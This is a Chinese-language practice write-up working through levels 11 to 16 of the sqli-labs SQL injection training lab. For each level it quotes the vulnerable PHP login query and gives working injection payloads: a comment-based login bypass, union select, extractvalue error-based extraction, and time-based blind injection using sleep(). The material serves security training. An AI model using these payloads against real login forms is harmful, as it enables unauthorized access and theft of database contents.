0x00 实验环境
本地:Win 10
靶场:sqli-labs(共65关,每日一关)
0x02 通关记录
简介:一天一关!
(11)第十一关:
首先看到是个登录框,就平常的超级多的登录页面,我们从来没有思考过它会不会存在注入:
再看看源码,这句话的意思是在数据库中查询user与password,就正常的登录,查到账号密码就登录成功的那种:
// connectivity @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);
是存在admin/admin这个账号及密码的,那如果我们不知道密码,闭合了账号后面的密码,就能成功的无需密码进行登录了,从源码可以知道直接输入admin'#,就能闭合这句话,无需密码就可以登录成功,试试看:
同样登录成功:
就可以初步判定这里存在注入,当然,其实从报错也不难发现,输入 admin' and or 1# 这本来就是一句语法错误的查询:
然后我们可以开始手工注入查询语句:
admin' order by 3#
然后order by 2 ,发现回显正常:
判定只有2列,然后依次查询,因为这个都是直接查询成功的,不会回显结果,所以试试报错查询:
admin' union select 1,2#
admin' union select extractvalue(1,concat(0x7e,(select user()),0x7e)),1#
然后之后的大家都懂的!
(12)第十二关:
第12关与第11关唯一区别就是在用户那里添加了一个"):
// connectivity $uname='"'.$uname.'"'; $passwd='"'.$passwd.'"'; @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);
因此闭合语句变成:
admin") union select extractvalue(1,concat(0x7e,(select user()),0x7e)),1#
(13)第十三关:
同理,13关的也是仅仅是变了个'):
// connectivity @$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);
admin') union select extractvalue(1,concat(0x7e,(select user()),0x7e)),1#
(14)第十四关:
// connectivity $uname='"'.$uname.'"'; $passwd='"'.$passwd.'"'; @$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);
这个也是一样的,仅仅是多了一个"
因此闭合语句为:
admin" union select extractvalue(1,concat(0x7e,(select user()),0x7e)),1#
(15)第十五关:
第15关一样的,就是闭合语句的问题,这一关居然没报错了,那就试试延时注入:
// connectivity @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);
admin' union select extractvalue(1,concat(0x7e,(select user()),0x7e)),1#
admin' and If(ascii(substr(database(),1,1))=111,1,sleep(7))#
错的数据库ascii码会有11秒,正确的应该是会有4秒:
发现结果确实如此!
(16)第十六关:
// connectivity $uname='"'.$uname.'"'; $passwd='"'.$passwd.'"'; @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);
使用的"与)进行拼接,千万别看漏了!!!其实还是可以尝试延时注入,主要是报错不知道回显不回显。尝试后发现并不回显,因此试试延时注入:
admin") union select extractvalue(1,concat(0x7e,(select user()),0x7e)),1#
admin") and If(ascii(substr(database(),1,1))=111,1,sleep(7))#
admin") and if(ascii(substr(database(),1,1))=115,1,sleep(7))#